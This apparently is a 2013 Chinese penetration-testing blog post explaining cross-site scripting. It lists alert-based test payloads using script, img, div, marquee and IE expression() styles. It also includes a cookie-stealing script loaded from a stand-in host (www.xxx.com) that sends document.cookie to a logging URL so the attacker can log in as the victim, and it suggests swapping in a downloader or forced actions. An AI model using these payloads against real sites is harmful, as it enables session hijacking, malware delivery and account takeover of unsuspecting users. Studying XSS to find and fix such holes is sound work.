A-A+

XSS跨站脚本攻击

2013年11月11日 渗透测试 暂无评论 阅读 1,742 次

xss跨站脚本攻击和sql注入攻击行为类似,利用系统执行了未经过滤的危险代码,xss是基于网页脚本的注入,将脚本攻击载荷写入网页,然而用户访问网页客户端跳转某一脚本。sql注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句,从而达到操纵数据库的目的。(ps:想想用数据库+插一句话是怎么利用的?)

1、常见的xss bug检测语句:<script>alert(/xss/)</script>

比如存在xss bug的留言板上写上<script>alert(/xss/)</script>,当访问留言板网页时会弹出对话框,这说明植入的语句被运行了,现在就有机会执行我们的脚本攻击载荷。

  1. <script src = http://www.xxx.com/xssbug.js></script>

xssbug.js代码可以是:

  1. Var img = document.createElement(“img”);
  2. Img.src = “http://www.xxx.com/log?”+escape(document.cookie);
  3. document.body.appendChild(img);

若如上代码顺利执行,则被攻击者登录目标网站的cookie就写进了log.然后进行浏览器重新发包就可以以被攻击者身份登录目标网站。也可将窃取cookie的代码换成能下载地址就,这样下载者下载到存在下载者攻击漏洞的用户电脑上。也可将换成目标用户在网站上的某些操作的,如数据包脚本,促使在不知情的情况下”自愿”进行某些操作。

2、通过img图片标记属性跨站

也可以用上面在留言板插<img src=”javacript:alert(/xss/)”></img>,用户上传图片时将图片路径修改为一段可执行的xss测试脚本,若存在xss漏洞脚本就会被执行,这类脚本要闭合双引号”>”等。

利用div标签属性跨站

  1. <div style=”width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};”></div>

利用已知事件攻击

  1. <marquee>文字</marquee>
  2. <marquee onstart=”alert(/XSS/)”>文字</marquee>
  3. <div style=”” onmouseenter=”alert(/xss/)”>文字</div>

构造事件形式:<img style=”#” style=”TEST:e-xpression(alert(/XSS/));”>

  1. <font style = “TEST:e-xpression(alert(/XSS/))”></font>
  2. <li style = “TEST:e-xpression(alert(/XSS/))”></li>
  3. <table style = “TEST:e-xpression(alert(/XSS/))”></table>
  4. <a style = “TEST:e-xpression(alert(/XSS/))”></a>
  5. <b style = “TEST:e-xpression(alert(/XSS/))”></b>
  6. <ul style = “TEST:e-xpression(alert(/XSS/))”></ul>
  7. <marque tyle = “TEST:e-xpression(alert(/XSS/))”></marquee>

 

只要没有进行xss过滤,很多站都存在这种bug的,此方法只适用于IE系列,并且在IE 7 及以上版本的浏览器会有安全提示。

给我留言